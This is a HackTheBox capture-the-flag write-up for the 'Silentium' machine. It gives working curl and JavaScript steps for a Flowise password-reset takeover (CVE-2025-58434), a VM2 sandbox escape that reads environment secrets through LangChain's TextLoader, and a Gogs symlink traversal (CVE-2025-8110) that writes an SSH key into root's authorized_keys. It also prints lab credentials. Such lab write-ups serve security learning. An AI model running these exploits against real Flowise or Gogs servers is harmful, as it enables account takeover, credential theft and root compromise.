Silentium - HackTheBox Writeup

Published on: 4/12/2026

Summary: Silentium is an Easy Linux machine featuring a Flowise AI Agent Builder (v3.0.5) and an internal Gogs Git service (v0.13.3). The attack chain involves: 1. **CVE-2025-58434** - Flowise password reset vulnerability to gain admin access 2. **Custom Function RCE** - Using LangChain's TextLoader within Flowise's VM2 sandbox to read sensitive environment variables 3. **CVE-2025-8110** - Gogs symlink path traversal to write an SSH public key to root's authorized_keys


Silentium - HackTheBox Writeup

Difficulty: Easy | OS: Linux | Season: 10

Summary

Silentium is an Easy Linux machine featuring a Flowise AI Agent Builder (v3.0.5) and an internal Gogs Git service (v0.13.3). The attack chain involves:

  1. CVE-2025-58434 - Flowise password reset vulnerability to gain admin access
  2. Custom Function RCE - Using LangChain's TextLoader within Flowise's VM2 sandbox to read sensitive environment variables
  3. CVE-2025-8110 - Gogs symlink path traversal to write an SSH public key to root's authorized_keys

Reconnaissance

Port Scan

22/tcp - SSH
80/tcp - HTTP (nginx 1.24.0)

Virtual Host Enumeration

  • silentium.htb - Static corporate website
  • staging.silentium.htb - Flowise 3.0.5 instance

Foothold - Flowise Admin Access (CVE-2025-58434)

Flowise 3.0.5 has a vulnerability in the forgot-password endpoint that leaks user data including a tempToken:

# Get tempToken
curl -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"ben@silentium.htb"}}'
# Response includes tempToken

# Reset password
curl -X POST http://staging.silentium.htb/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"ben@silentium.htb","tempToken":"<TOKEN>","password":"x"}}'

# Login
curl -c cookies.txt -X POST http://staging.silentium.htb/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"ben@silentium.htb","password":"x"}'

Important: All authenticated API calls require both session cookies AND the x-request-from: internal header.

User - Reading Environment Variables via Custom Function

The Sandbox Challenge

Flowise's POST /api/v1/node-custom-function endpoint executes JavaScript in a VM2 sandbox. Direct file system modules (fs, child_process) are blocked:

// FAILS: Cannot find module 'fs'
const fs = require("fs");

The Breakthrough: LangChain TextLoader

By enumerating available modules, I discovered that LangChain document loaders are accessible. The TextLoader class internally uses fs from the host Node.js context, bypassing the VM2 sandbox restriction:

const { TextLoader } = require("langchain/document_loaders/fs/text");
const loader = new TextLoader("/proc/1/environ");
const docs = await loader.load();
return docs[0].pageContent;

This revealed the container's environment variables:

FLOWISE_USERNAME=ben
FLOWISE_PASSWORD=F1l3_d0ck3r
SMTP_PASSWORD=r04D!!_R4ge
SENDER_EMAIL=ben@silentium.htb

SSH Access

The SMTP_PASSWORD (r04D!!_R4ge) is reused as ben's SSH password:

ssh ben@silentium.htb  # password: r04D!!_R4ge
cat ~/user.txt

Root - Gogs Symlink RCE (CVE-2025-8110)

Internal Service Discovery

ss -tlnp
# 127.0.0.1:3001 - Gogs 0.13.3
# 127.0.0.1:8025 - MailHog

Set up SSH tunnel:

ssh -L 3001:127.0.0.1:3001 ben@silentium.htb

CVE-2025-8110: Symlink Path Traversal

Gogs 0.13.3 has a symlink-based path traversal vulnerability. The PutContents API (PUT /api/v1/repos/{owner}/{repo}/contents/{filepath}) follows symlinks when writing file content, allowing arbitrary file writes as root.

Step 1: Register and Authenticate

Register a new user on Gogs (captcha required), then create an API token through the web interface at /user/settings/applications.

Step 2: Create Repository and Push Symlink

# Create repo via API
curl -X POST http://localhost:3001/api/v1/user/repos \
  -H "Authorization: token <TOKEN>" \
  -d '{"name":"pwn2","auto_init":true}'

# Clone and add malicious symlink
git clone http://user:pass@localhost:3001/user/pwn2.git
cd pwn2
ln -s /root/.ssh/authorized_keys root_keys
git add root_keys
git commit -m "add link"
git push origin master

Step 3: Write SSH Key via Symlink

Generate an SSH key pair, then use the PutContents API to write the public key through the symlink:

ssh-keygen -t ed25519 -f /tmp/htb_key -N ''

# Get current SHA
SHA=$(curl -s http://localhost:3001/api/v1/repos/user/pwn2/contents/root_keys \
  -H "Authorization: token <TOKEN>" | jq -r .sha)

# Overwrite /root/.ssh/authorized_keys via symlink
curl -X PUT http://localhost:3001/api/v1/repos/user/pwn2/contents/root_keys \
  -H "Authorization: token <TOKEN>" \
  -H "Content-Type: application/json" \
  -d "{\"content\":\"$(base64 -w0 /tmp/htb_key.pub)\",\"message\":\"update\",\"sha\":\"$SHA\"}"

Critical Note: The symlink must use an absolute path (e.g., /root/.ssh/authorized_keys). Relative symlinks like .git/config cause a 500 error because they resolve incorrectly within the PutContents temporary working tree.

Step 4: Root Access

ssh -i /tmp/htb_key root@silentium.htb
cat /root/root.txt

Key Takeaways

  1. VM2 sandbox bypass via module dependencies: Even when fs is blocked directly, npm packages that depend on fs internally (like LangChain's TextLoader) can still read files.
  2. Absolute vs relative symlinks matter: The CVE-2025-8110 exploit requires absolute path symlinks for reliable exploitation.
  3. Password reuse: The SMTP password configured in Flowise was reused as the system SSH password.
Table of Contents